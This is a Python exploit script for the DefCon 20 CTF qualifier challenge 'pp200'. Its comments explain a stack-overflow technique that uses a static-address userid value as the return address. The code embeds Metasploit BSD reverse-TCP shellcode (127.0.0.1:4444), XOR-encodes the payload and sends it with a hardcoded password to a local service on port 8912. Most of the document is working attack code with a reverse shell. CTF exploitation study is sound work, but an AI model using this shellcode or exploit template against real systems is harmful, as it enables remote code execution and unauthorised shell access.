#!/usr/bin/env python
# exploit by @jgrusko
# You can find a detailed analysis here:
# http://blog.oxff.net/posts/DefCon%2020%20CTF%20Qualifications%3A%20pp200-jmjgjxh7rng7hgjyd7hq.html
# I'll just focus my explanation on the way used to avoid relying on a stack address which
# is not always accurate.
# As said in the blog post, the verify_user() takes a dword as parameter and stores it at
# static address 0x0804C58C
# Then each byte of the dword is XORed against each other and compared to the value 0xa6 as in
# the following pseudo code:
# int verify_userid(unsigned int userid)
# {
# unsigned char *dword = userid;
# return ((dword[0] ^ dword[1] ^ dword[2] ^ dword[3]) == 0xa6);
# }
# This means that we can use 3 ARBITRARY bytes and use the last one to make the result 0xa6.
# Since this dword is located at a static location we can use it as our return address.
# By supplying the following dword 0x29ecc3a0, the verify_userid() function
# will succeed. When exploiting the stack overflow and returning on 0x0804C58C, we will have
# the 2 following instructions executed:
# ==============
# sub esp, ebp ; 0x29 0xec
# ret ; 0xc3
# ==============
# Since sfp has also been overwritten, ebp now contains an arbitrary value, which in our case
# is 0x214. After ESP is subtracted by 0x214, it will point at the beginning of the shellcode.
# The first dword of the shellcode is actually pointing on a "jmp esp" instruction, jumping
# directly into the shellcode.
# Even if we supply a dword, the shellcode is actually only XORed with the MSB of this
# dword.
# Here's the exploit code:
import socket, struct
# metasploit bsd/x86/shell_reverse_tcp LHOST=127.0.0.1 LPORT=4444
# If you are trying this on your system, remember the program
# performs a chroot() call thus, if /bin/sh is not present
# inside pp200 home directory you won't get a shell ;)
shellcode = (
"\x68\x7f\x00\x00\x01\x68\xff\x02\x11\x5c\x89\xe7\x31\xc0"
"\x50\x6a\x01\x6a\x02\x6a\x10\xb0\x61\xcd\x80\x57\x50\x50"
"\x6a\x62\x58\xcd\x80\x50\x6a\x5a\x58\xcd\x80\xff\x4f\xe8"
"\x79\xf6\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3"
"\x50\x54\x53\x50\xb0\x3b\xcd\x80"
)
jmpESP = struct.pack("<I", 0x0804b56b)
retAddr = struct.pack("<I", 0x0804c58c)
# XOR Encode payload with MSB
def xor_payload(payload):
encoded_payload = ""
for b in payload:
encoded_payload += chr(ord(b) ^ 0x29)
return encoded_payload
def exploit():
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect(("localhost", 8912))
# Send password
s.send("b74b9d86e6cd3480\n")
print(s.recv(1024))
# Send userid
s.send("a0c3ec29\n")
print(s.recv(1024))
payload = jmpESP + "\x90" * (0x200 - 4 - len(shellcode)) + shellcode
payload += "\x0b" + struct.pack("<I", 0x214) + retAddr + "\n"
s.send(xor_payload(payload) + "\n")
print(s.recv(1024))
s.close()
if __name__ == "__main__":
exploit()